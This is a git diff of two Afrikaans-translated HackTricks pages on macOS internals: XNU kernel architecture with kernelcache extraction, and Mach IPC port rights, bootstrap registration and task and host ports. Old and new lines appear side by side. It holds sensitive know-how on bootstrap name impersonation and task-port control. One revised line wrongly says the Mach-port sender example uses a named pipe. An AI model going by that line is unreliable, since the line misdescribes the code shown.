Mach is 'n **mikrokernel** wat ontwerp is om **UNIX-kompatibel** te wees. Een van sy sleutelontwerpbeginsels was om die hoeveelheid **kode** wat in die **kern**-ruimte hardloop, te **minimeer** en eerder baie tipiese kernfunksies, soos lêersisteem, netwerke, en I/O, toe te laat om **as gebruikersvlaktake te hardloop**.
In XNU is Mach **verantwoordelik vir baie van die kritieke laevlak-operasies** wat 'n kernel tipies hanteer, soos prosessorbeplanning, multitasking en virtuele geheuebestuur.
In XNU is Mach **verantwoordelik vir baie van die kritieke laevlak-operasies** wat 'n kernel tipies hanteer, soos prosessorbeplanning, multitasking, en virtuele geheuebestuur.
### BSD
Die XNU **kernel** inkorporeer ook 'n aansienlike hoeveelheid kode wat afgelei is van die **FreeBSD**-projek. Hierdie kode **hardloop as deel van die kernel saam met Mach**, in dieselfde adresruimte. Nietemin, die FreeBSD-kode binne XNU kan aansienlik verskil van die oorspronklike FreeBSD-kode omdat aanpassings nodig was om sy verenigbaarheid met Mach te verseker. FreeBSD dra by tot baie kernoperasies insluitend:
Die XNU **kernel** inkorporeer ook 'n aansienlike hoeveelheid kode wat afgelei is van die **FreeBSD**-projek. Hierdie kode **hardloop as deel van die kernel saam met Mach**, in dieselfde adresruimte. Nietemin, die FreeBSD-kode binne XNU kan aansienlik verskil van die oorspronklike FreeBSD-kode omdat wysigings nodig was om sy verenigbaarheid met Mach te verseker. FreeBSD dra by tot baie kernoperasies insluitend:
* Prosesbestuur
* Seinhantering
@ -39,13 +40,13 @@ Die XNU **kernel** inkorporeer ook 'n aansienlike hoeveelheid kode wat afgelei i
* TCP/IP-stapel en sokkels
* Brandmuur en pakkiefiltrasie
Die begrip van die interaksie tussen BSD en Mach kan kompleks wees, as gevolg van hul verskillende konseptuele raamwerke. Byvoorbeeld, BSD gebruik prosesse as sy fundamentele uitvoerende eenheid, terwyl Mach op drade gebaseer is. Hierdie teenstrydigheid word in XNU versoen deur **elke BSD-proses te assosieer met 'n Mach-taak** wat presies een Mach-draad bevat. Wanneer BSD se fork()-stelseloproep gebruik word, gebruik die BSD-kode binne die kernel Mach-funksies om 'n taak- en 'n draadstruktuur te skep.
Die begrip van die interaksie tussen BSD en Mach kan kompleks wees, as gevolg van hul verskillende konseptuele raamwerke. Byvoorbeeld, BSD gebruik prosesse as sy fundamentele uitvoerenheid, terwyl Mach op drade gebaseer is. Hierdie teenstrydigheid word in XNU versoen deur **elke BSD-proses te assosieer met 'n Mach-taak** wat presies een Mach-draad bevat. Wanneer BSD se fork()-stelseloproep gebruik word, gebruik die BSD-kode binne die kernel Mach-funksies om 'n taak- en 'n draadstruktuur te skep.
Verder **handhaaf Mach en BSD elk 'n verskillende sekuriteitsmodel**: **Mach se** sekuriteitsmodel is gebaseer op **poortregte**, terwyl BSD se sekuriteitsmodel opereer op grond van **prosesbeheer**. Verskille tussen hierdie twee modelle het soms gelei tot plaaslike voorreg-escalatie-kwesbaarhede. Afgesien van tipiese stelseloproepe, is daar ook **Mach-valle wat gebruikersruimteprogramme toelaat om met die kernel te interaksieer**. Hierdie verskillende elemente vorm saam die veelsydige, hibriede argitektuur van die macOS-kernel.
Verder **handhaaf Mach en BSD elk 'n verskillende sekuriteitsmodel**: **Mach se** sekuriteitsmodel is gebaseer op **poortregte**, terwyl BSD se sekuriteitsmodel opereer op grond van **proses-eienaarskap**. Verskille tussen hierdie twee modelle het soms gelei tot plaaslike voorreg-escalatie-kwesbaarhede. Afgesien van tipiese stelseloproepe, is daar ook **Mach-valle wat gebruikersruimteprogramme toelaat om met die kernel te interaksieer**. Hierdie verskillende elemente vorm saam die veelsydige, hibriede argitektuur van die macOS-kernel.
### I/O Kit - Bestuurders
Die I/O Kit is 'n oopbron, objekgeoriënteerde **toestelbestuurder-raamwerk** in die XNU-kernel, wat **dinamies gelaaide toestelbestuurders** hanteer. Dit maak dit moontlik om modulêre kode by die kernel by te voeg terwyl dit loop, wat 'n verskeidenheid hardeware ondersteun.
Die I/O Kit is 'n oopbron-, objekgeoriënteerde **toestelbestuurder-raamwerk** in die XNU-kernel, hanteer **dinamies gelaaide toestelbestuurders**. Dit maak dit moontlik om modulêre kode by die kernel by te voeg terwyl dit loop, wat 'n verskeidenheid hardeware ondersteun.
{% content-ref url="macos-iokit.md" %}
[macos-iokit.md](macos-iokit.md)
@ -59,7 +60,7 @@ Die I/O Kit is 'n oopbron, objekgeoriënteerde **toestelbestuurder-raamwerk** in
### Kernelcache
Die **kernelcache** is 'n **vooraf saamgestelde en vooraf gekoppelde weergawe van die XNU-kernel**, saam met noodsaaklike toestel **bestuurders** en **kernuitbreidings**. Dit word in 'n **gekomprimeerde** formaat gestoor en word tydens die opstartproses in die geheue gedekomprimeer. Die kernelcache fasiliteer 'n **vinniger opstartsproses** deur 'n gereed-om-te-loop weergawe van die kernel en kritieke bestuurders beskikbaar te hê, wat die tyd en hulpbronne verminder wat andersins aan die dinamies laai en koppel van hierdie komponente tydens opstarttyd bestee sou word.
Die **kernelcache** is 'n **vooraf saamgestelde en vooraf gekoppelde weergawe van die XNU-kernel**, saam met noodsaaklike toestel **bestuurders** en **kernuitbreidings**. Dit word in 'n **gekomprimeerde** formaat gestoor en word tydens die opstartproses in die geheue gedekomprimeer. Die kernelcache fasiliteer 'n **vinniger opstarttyd** deur 'n gereed-om-te-loop weergawe van die kernel en kritieke bestuurders beskikbaar te hê, wat die tyd en hulpbronne verminder wat andersins aan die dinamies laai en koppel van hierdie komponente tydens opstarttyd bestee sou word.
In iOS is dit geleë in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS kan jy dit vind met **`find / -name kernelcache 2>/dev/null`** of **`mdfind kernelcache | grep kernelcache`**
@ -67,7 +68,7 @@ Dit is moontlik om **`kextstat`** uit te voer om die gelaai kernuitbreidings te
#### IMG4
Die IMG4-lêerformaat is 'n houerformaat wat deur Apple in sy iOS- en macOS-toestelle gebruik word vir veilige **berg en verifieer van firmware**-komponente (soos **kernelcache**). Die IMG4-formaat sluit 'n kop en verskeie etikette in wat verskillende stukke data insluit, insluitend die werklike vrag (soos 'n kernel of aansitter), 'n handtekening, en 'n stel manifesteienskappe. Die formaat ondersteun kriptografiese verifikasie, wat die toestel in staat stel om die egtheid en integriteit van die firmware-komponent te bevestig voordat dit uitgevoer word.
Die IMG4-lêerformaat is 'n houerformaat wat deur Apple in sy iOS- en macOS-toestelle gebruik word om firmware-komponente (soos **kernelcache**) veilig **te stoor en te verifieer**. Die IMG4-formaat sluit 'n kopstuk en verskeie etikette in wat verskillende stukke data insluit, insluitend die werklike vrag (soos 'n kernel of aansitter), 'n handtekening, en 'n stel manifesteienskappe. Die formaat ondersteun kriptografiese verifikasie, wat die toestel in staat stel om die egtheid en integriteit van die firmware-komponent te bevestig voordat dit uitgevoer word.
Dit bestaan gewoonlik uit die volgende komponente:
@ -77,7 +78,7 @@ Dit bestaan gewoonlik uit die volgende komponente:
* **Manifest (IM4M)**:
* Bevat Handtekening
* Addisionele Sleutel/Waarde-woordeboek
* **Herstel Inligting (IM4R)**:
* **Herstel-inligting (IM4R)**:
* Ook bekend as APNonce
* Voorkom herhaal van sommige opdaterings
* FAKULTATIEF: Gewoonlik word dit nie gevind nie
@ -92,14 +93,14 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
#### Kernelcache Simbole
Soms publiseer Apple **kernelcache** met **simbole**. Jy kan sommige firmwares met simbole aflaai deur die skakels op [https://theapplewiki.com](https://theapplewiki.com/) te volg.
Soms publiseer Apple **kernelcache** met **simbole**. Jy kan sommige firmwares met simbole aflaai deur die skakels te volg op [https://theapplewiki.com](https://theapplewiki.com/).
### IPSW
Dit is Apple **firmwares** wat jy kan aflaai vanaf [**https://ipsw.me/**](https://ipsw.me/). Onder andere lêers bevat dit die **kernelcache**.\
Om die lêers te **onttrek**, kan jy dit net **ontzip**.
Om die lêers te **onttrek** kan jy dit net **ontzip**.
Nadat die firmware onttrek is, sal jy 'n lêer soos hierdie kry: **`kernelcache.release.iphone14`**. Dit is in **IMG4**-formaat, jy kan die interessante inligting onttrek met:
Na die onttrekking van die firmware sal jy 'n lêer soos hierdie kry: **`kernelcache.release.iphone14`**. Dit is in **IMG4**-formaat, jy kan die interessante inligting onttrek met:
* [**pyimg4**](https://github.com/m1stadev/PyIMG4)
@ -115,7 +116,7 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
Jy kan die uitgepakte kernelcache vir simbole nagaan met: **`nm -a kernelcache.release.iphone14.e | wc -l`**
Met hierdie kan ons nou **alle uitbreidings** uithaal of die **een waarin jy belangstel:**
Hiermee kan ons nou **alle uitbreidings** uithaal of die **een waarin jy belangstel:**
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
@ -128,17 +129,17 @@ kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l
```
## macOS Kernel-uitbreidings
## macOS Kernel Uitbreidings
macOS is **baie beperkend om Kernel-uitbreidings** (.kext) te laai vanweë die hoë voorregte waarmee kode sal hardloop. Eintlik is dit by verstek feitlik onmoontlik (tensy 'n omweg gevind word).
macOS is **baie beperkend om Kernel Uitbreidings** (.kext) te laai vanweë die hoë voorregte waarmee kode sal hardloop. Eintlik is dit by verstek feitlik onmoontlik (tensy 'n omweg gevind word).
{% content-ref url="macos-kernel-extensions.md" %}
[macos-kernel-extensions.md](macos-kernel-extensions.md)
{% endcontent-ref %}
### macOS-stelseluitbreidings
### macOS Stelsel Uitbreidings
In plaas daarvan om Kernel-uitbreidings te gebruik, het macOS die Stelseluitbreidings geskep, wat in gebruikersvlak-API's bied om met die kernel te kommunikeer. Op hierdie manier kan ontwikkelaars vermy om kernel-uitbreidings te gebruik.
In plaas daarvan om Kernel Uitbreidings te gebruik, het macOS die Stelsel Uitbreidings geskep, wat in gebruikersvlak-API's bied om met die kernel te kommunikeer. Op hierdie manier kan ontwikkelaars vermy om kernel-uitbreidings te gebruik.
{% content-ref url="macos-system-extensions.md" %}
[macos-system-extensions.md](macos-system-extensions.md)
@ -149,16 +150,17 @@ In plaas daarvan om Kernel-uitbreidings te gebruik, het macOS die Stelseluitbrei
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslaan.
</details>
{% endhint %}

View file

@ -1,44 +1,45 @@
# macOS IPC - Interproses Kommunikasie
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Mach-boodskappe via Poorte
### Basiese Inligting
Mach gebruik **take** as die **kleinste eenheid** vir die deel van hulpbronne, en elke taak kan **meervoudige drade** bevat. Hierdie **take en drade word 1:1 gekarteer na POSIX-prosesse en drade**.
Mach gebruik **take** as die **kleinste eenheid** vir die deel van hulpbronne, en elke taak kan **verskeie drade** bevat. Hierdie **take en drade word 1:1 gekarteer na POSIX-prosesse en drade**.
Kommunikasie tussen take vind plaas via Mach Interproses Kommunikasie (IPC), wat eenrigting kommunikasiekanale benut. **Boodskappe word oorgedra tussen poorte**, wat optree soos **boodskapresies** wat deur die kernel bestuur word.
Kommunikasie tussen take vind plaas via Mach Interproses Kommunikasie (IPC), wat eenrigting kommunikasiekanale benut. **Boodskappe word oorgedra tussen poorte**, wat optree soos **boodskap-rye** wat deur die kernel bestuur word.
Elke proses het 'n **IPC-tabel**, waarin dit moontlik is om die **mach-poorte van die proses** te vind. Die naam van 'n mach-poort is eintlik 'n nommer (n wyser na die kernel-voorwerp).
Elke proses het 'n **IPC-tabel**, waarin dit moontlik is om die **mach-poorte van die proses** te vind. Die naam van 'n mach-poort is eintlik 'n nommer ( 'n wyser na die kernel-voorwerp).
'n Proses kan ook 'n poortnaam met sekere regte stuur **na 'n ander taak** en die kernel sal hierdie inskrywing in die **IPC-tabel van die ander taak** laat verskyn.
'N Proses kan ook 'n poortnaam met sekere regte **na 'n ander taak stuur** en die kernel sal hierdie inskrywing in die **IPC-tabel van die ander taak** laat verskyn.
### Poortregte
Poortregte, wat definieer watter operasies 'n taak kan uitvoer, is sleutel tot hierdie kommunikasie. Die moontlike **poortregte** is ([definisies vanaf hier](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
* **Ontvangsreg**, wat die ontvangs van boodskappe wat na die poort gestuur is, toelaat. Mach-poorte is MPSC (meervoudige-vervaardiger, enkel-verbruiker) rye, wat beteken dat daar slegs **een ontvangsreg vir elke poort** in die hele stelsel kan wees (in teenstelling met pype, waar meervoudige prosesse almal lêerbeskrywers na die lees-einde van een pyp kan hê).
* 'n **Taak met die Ontvangsreg** kan boodskappe ontvang en **Send-regte skep**, wat dit moontlik maak om boodskappe te stuur. Aanvanklik het slegs die **eie taak Ontvangsreg oor sy poort**.
* **Stuurreg**, wat dit moontlik maak om boodskappe na die poort te stuur.
* Die Stuurreg kan **gekloneer** word sodat 'n taak wat 'n Stuurreg besit, die reg kan kloon en **dit aan 'n derde taak kan toeken**.
* **Eenkeer-stuurreg**, wat dit moontlik maak om een boodskap na die poort te stuur en dan te verdwyn.
* **Poortstelreg**, wat 'n _poortstel_ aandui eerder as 'n enkele poort. Dequeuing 'n boodskap van 'n poortstel dequeues 'n boodskap van een van die poorte wat dit bevat. Poortstelle kan gebruik word om op verskeie poorte gelyktydig te luister, soos `select`/`poll`/`epoll`/`kqueue` in Unix.
* **Dooie naam**, wat nie 'n werklike poortreg is nie, maar bloot 'n plasing. Wanneer 'n poort vernietig word, verander alle bestaande poortregte na die poort in dooie name.
* **Ontvangsreg**, wat die ontvangs van boodskappe wat na die poort gestuur is, moontlik maak. Mach-poorte is MPSC (meervoudige-vervaardiger, enkel-verbruiker) rye, wat beteken dat daar slegs **een ontvangsreg vir elke poort** in die hele stelsel kan wees (in teenstelling met pype, waar meervoudige prosesse almal lêerbeskrywers na die lees-einde van een pyp kan hê).
* 'n **Taak met die Ontvangsreg** kan boodskappe ontvang en **Send-regte skep**, wat dit moontlik maak om boodskappe te stuur. Aanvanklik het slegs die **eie taak 'n Ontvangsreg oor sy poort**.
* **Stuur-reg**, wat dit moontlik maak om boodskappe na die poort te stuur.
* Die Stuur-reg kan **gekloneer** word sodat 'n taak wat 'n Stuur-reg besit, die reg kan kloon en dit aan 'n derde taak kan **toeken**.
* **Stuur-eenkeer-reg**, wat dit moontlik maak om een boodskap na die poort te stuur en dan te verdwyn.
* **Poortstelreg**, wat 'n _poortstel_ aandui eerder as 'n enkele poort. Die uitkering van 'n boodskap van 'n poortstel onttrek 'n boodskap van een van die poorte wat dit bevat. Poortstelle kan gebruik word om op verskeie poorte gelyktydig te luister, soos `select`/`poll`/`epoll`/`kqueue` in Unix.
* **Dooie naam**, wat nie 'n werklike poortreg is nie, maar bloot 'n plekhouer. Wanneer 'n poort vernietig word, verander alle bestaande poortregte na die poort in dooie name.
**Take kan SEND-regte na ander oordra**, wat hulle in staat stel om boodskappe terug te stuur. **SEND-regte kan ook gekloneer word, sodat 'n taak die reg kan dupliseer en aan 'n derde taak kan gee**. Hierdie, saam met 'n tussenliggende proses wat bekend staan as die **bootstrap-bediener**, maak effektiewe kommunikasie tussen take moontlik.
**Take kan SEND-regte na ander oordra**, wat hulle in staat stel om boodskappe terug te stuur. **SEND-regte kan ook gekloneer word, sodat 'n taak die reg kan dupliseer en dit aan 'n derde taak kan gee**. Hierdie, saam met 'n tussenliggende proses wat bekend staan as die **bootstrap-bediener**, maak effektiewe kommunikasie tussen take moontlik.
### Lêerpoorte
@ -50,28 +51,28 @@ Lêerpoorte maak dit moontlik om lêerbeskrywers in Mac-poorte in te sluit (deur
Soos genoem, om die kommunikasiekanaal te vestig, is die **bootstrap-bediener** (**launchd** in Mac) betrokke.
1. Taak **A** inisieer 'n **nuwe poort**, wat 'n **ONTVANGS-reg** in die proses verkry.
2. Taak **A**, as die houer van die ONTVANGS-reg, **skep 'n STUUR-reg vir die poort**.
1. Taak **A** inisieer 'n **nuwe poort**, wat 'n **ONTVANG-reg** in die proses verkry.
2. Taak **A**, as die houer van die ONTVANG-reg, **skep 'n STUUR-reg vir die poort**.
3. Taak **A** vestig 'n **verbindings** met die **bootstrap-bediener**, deur die **diensnaam van die poort** en die **STUUR-reg** deur 'n prosedure bekend as die bootstrap-registrasie te voorsien.
4. Taak **B** interaksie met die **bootstrap-bediener** om 'n bootstrap **soektog vir die diensnaam** uit te voer. Indien suksesvol, **dupliseer die bediener die STUUR-reg** wat van Taak A ontvang is en **stuur dit na Taak B**.
5. Nadat Taak **B** 'n STUUR-reg verkry het, is dit in staat om 'n **boodskap te formuleer** en dit **na Taak A te stuur**.
6. Vir 'n tweerigting kommunikasie genereer taak **B** gewoonlik 'n nuwe poort met 'n **ONTVANGS**-reg en 'n **STUUR**-reg, en gee die **STUUR-reg aan Taak A** sodat dit boodskappe aan Taak B kan stuur (tweerigting kommunikasie).
6. Vir 'n tweerigting kommunikasie skep taak **B** gewoonlik 'n nuwe poort met 'n **ONTVANG**-reg en 'n **STUUR**-reg, en gee die **STUUR-reg aan Taak A** sodat dit boodskappe aan TAASK B kan stuur (tweerigting kommunikasie).
Die bootstrap-bediener **kan nie die diensnaam autentiseer** wat deur 'n taak beweer word nie. Dit beteken 'n **taak** kan moontlik enige stelseltaak **naäap**, soos valse **goedkeuring van 'n outorisasiediensnaam** en dan elke versoek goedkeur.
Die bootstrap-bediener **kan nie die diensnaam verifieer** wat deur 'n taak beweer word nie. Dit beteken 'n **taak** kan moontlik enige stelseltaak **na-aap**, soos valse **goedkeuring van 'n outorisasiediensnaam** en dan elke versoek goedkeur.
Dan stoor Apple die **name van stelselverskafte dienste** in veilige konfigurasie lêers, geleë in **SIP-beskermde** gids: `/System/Library/LaunchDaemons` en `/System/Library/LaunchAgents`. Saam met elke diensnaam word ook die **geassosieerde binêre lêer gestoor**. Die bootstrap-bediener, sal 'n **ONTVANGS-reg vir elkeen van hierdie diensname** skep en behou.
Dan stoor Apple die **name van stelselverskafte dienste** in veilige konfigurasie lêers, geleë in **SIP-beskermde** gids: `/System/Library/LaunchDaemons` en `/System/Library/LaunchAgents`. Saam met elke diensnaam word ook die **geassosieerde binêre lêer gestoor**. Die bootstrap-bediener, sal 'n **ONTVANG-reg vir elkeen van hierdie diensname** skep en behou.
Vir hierdie voorgedefinieerde dienste, verskil die **soekproses effens**. Wanneer 'n diensnaam opgesoek word, begin launchd die diens dinamies. Die nuwe werkstroom is as volg:
* Taak **B** inisieer 'n bootstrap **soektog** vir 'n diensnaam.
* **launchd** kyk of die taak loop en indien nie, **begin** dit.
* Taak **A** (die diens) voer 'n **bootstrap-inligting** uit. Hier skep die **bootstrap**-bediener 'n STUUR-reg, behou dit, en **oorhandig die ONTVANGS-reg aan Taak A**.
* **launchd** kontroleer of die taak loop en indien nie, **begin** dit.
* Taak **A** (die diens) voer 'n **bootstrap-inloer** uit. Hier skep die **bootstrap**-bediener 'n STUUR-reg, behou dit, en **oorhandig die ONTVANG-reg aan Taak A**.
* launchd dupliseer die **STUUR-reg en stuur dit na Taak B**.
* Taak **B** genereer 'n nuwe poort met 'n **ONTVANGS**-reg en 'n **STUUR**-reg, en gee die **STUUR-reg aan Taak A** (die diens) sodat dit boodskappe aan Taak B kan stuur (tweerigting kommunikasie).
* Taak **B** skep 'n nuwe poort met 'n **ONTVANG**-reg en 'n **STUUR**-reg, en gee die **STUUR-reg aan Taak A** (die diens) sodat dit boodskappe aan TAASK B kan stuur (tweerigting kommunikasie).
Hierdie proses geld egter slegs vir voorgedefinieerde stelseltake. Nie-stelsel take werk steeds soos aanvanklik beskryf, wat moontlik die naäping kan toelaat.
Hierdie proses geld egter slegs vir voorgedefinieerde stelseltake. Nie-stelsel take werk steeds soos aanvanklik beskryf, wat moontlik die moontlikheid van na-aping kan toelaat.
### 'n Mach-boodskap
### 'N Mach-boodskap
[Vind meer inligting hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
@ -88,7 +89,7 @@ mach_msg_id_t msgh_id;
```
Prosesse wat 'n _**ontvangsreg**_ besit, kan boodskappe op 'n Mach-poort ontvang. Omgekeerd word aan die **senders** 'n _**stuur**_ of 'n _**stuur-eenmaal reg**_ toegeken. Die stuur-eenmaal reg is uitsluitlik vir die stuur van 'n enkele boodskap, waarna dit ongeldig word.
Om 'n maklike **tweerigting kommunikasie** te bereik, kan 'n proses 'n **mach-poort** spesifiseer in die mach **boodskap kop** genaamd die _antwoordpoort_ (**`msgh_local_port`**) waar die **ontvanger** van die boodskap 'n antwoord op hierdie boodskap kan stuur. Die bivlae in **`msgh_bits`** kan gebruik word om aan te dui dat 'n **stuur-eenmaal reg** afgelei en oorgedra moet word vir hierdie poort (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
Ten einde 'n maklike **tweerigting kommunikasie** te bereik, kan 'n proses 'n **mach-poort** spesifiseer in die mach **boodskap kop** genaamd die _antwoordpoort_ (**`msgh_local_port`**) waar die **ontvanger** van die boodskap 'n antwoord op hierdie boodskap kan stuur. Die bivlae in **`msgh_bits`** kan gebruik word om aan te dui dat 'n **stuur-eenmaal reg** afgelei en oorgedra moet word vir hierdie poort (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
{% hint style="success" %}
Let daarop dat hierdie soort tweerigting kommunikasie gebruik word in XPC-boodskappe wat 'n antwoord verwag (`xpc_connection_send_message_with_reply` en `xpc_connection_send_message_with_reply_sync`). Maar **gewoonlik word verskillende poorte geskep** soos voorheen verduidelik om die tweerigting kommunikasie te skep.
@ -185,8 +186,9 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
{% endtab %}
{% tab title="sender.c" %}
### Afrikaans Translation
Die interproseskommunikasie (IPC) is 'n stelsel waarmee prosesse kan kommunikeer en inligting kan deel sonder om direk met mekaar te skakel. Daar is verskeie metodes vir IPC op macOS, insluitend beriggebaseerde kommunikasie, sokketkoppelvlakke en gedeelde geheue. Hierdie metodes kan gebruik word vir kommunikasie tussen prosesse op dieselfde stelsel of tussen prosesse op verskillende stelsels in 'n netwerk.
### Afrikaans Translation:
Hierdie is 'n eenvoudige voorbeeld van 'n sender-program wat 'n boodskap stuur na 'n ander program deur gebruik te maak van Inter-Process Communication (IPC) in macOS. Die sender-program maak gebruik van 'n named pipe om die boodskap na die ander program te stuur.
{% endtab %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
@ -246,13 +248,13 @@ printf("Sent a message\n");
* **Gasheerpoort**: As 'n proses **Stuur**-bevoegdheid oor hierdie poort het, kan hy **inligting** oor die **sisteem** kry (bv. `host_processor_info`).
* **Gasheer priv-poort**: 'n Proses met **Stuur**-reg oor hierdie poort kan **bevoorregte aksies** uitvoer soos die laai van 'n kernuitbreiding. Die **proses moet root wees** om hierdie toestemming te kry.
* Verder, om die **`kext_request`** API te roep, is dit nodig om ander toekennings **`com.apple.private.kext*`** te hê wat slegs aan Apple-binêre lêers gegee word.
* **Taaknaampoort:** 'n Nie-bevoorregte weergawe van die _taakpoort_. Dit verwys na die taak, maar laat nie toe om dit te beheer nie. Die enigste ding wat deur dit beskikbaar lyk te wees, is `task_info()`.
* Verder, om die **`kext_request`** API te roep, is dit nodig om ander toestemmings **`com.apple.private.kext*`** te hê wat slegs aan Apple-binêre lêers gegee word.
* **Taaknaampoort:** 'n Nie-bevoorregte weergawe van die _taakpoort_. Dit verwys na die taak, maar laat nie toe om dit te beheer nie. Die enigste ding wat beskikbaar lyk deur dit is `task_info()`.
* **Taakpoort** (ook bekend as kernpoort)**:** Met Stuur-toestemming oor hierdie poort is dit moontlik om die taak te beheer (lees/skryf geheue, skep drade...).
* Roep `mach_task_self()` aan om die naam vir hierdie poort vir die aanroeperstaak te **kry**. Hierdie poort word slegs **oorgeërf** oor **`exec()`**; 'n nuwe taak wat met `fork()` geskep is, kry 'n nuwe taakpoort (as 'n spesiale geval kry 'n taak ook 'n nuwe taakpoort na `exec()` in 'n suid-binêre lêer). Die enigste manier om 'n taak te skep en sy poort te kry, is om die ["poortruil dans"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) uit te voer terwyl 'n `fork()` gedoen word.
* Roep `mach_task_self()` aan om die naam vir hierdie poort vir die aanroeperstaak te **kry**. Hierdie poort word slegs **oorgeërf** oor **`exec()`**; 'n nuwe taak wat geskep is met `fork()` kry 'n nuwe taakpoort (as 'n spesiale geval, kry 'n taak ook 'n nuwe taakpoort na `exec()` in 'n suid-binêre lêer). Die enigste manier om 'n taak te skep en sy poort te kry, is om die ["poortruil dans"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) uit te voer terwyl 'n `fork()` gedoen word.
* Hierdie is die beperkings om toegang tot die poort te verkry (vanaf `macos_task_policy` van die binêre lêer `AppleMobileFileIntegrity`):
* As die program die **`com.apple.security.get-task-allow` toekennings** het, kan prosesse van dieselfde gebruiker toegang tot die taakpoort kry (gewoonlik bygevoeg deur Xcode vir foutopsporing). Die **notariseringsproses** sal dit nie toelaat vir produksie vrystellings nie.
* Programme met die **`com.apple.system-task-ports` toekennings** kan die taakpoort vir enige proses kry, behalwe die kernel. In ouer weergawes is dit genoem **`task_for_pid-allow`**. Dit word slegs aan Apple-toepassings toegeken.
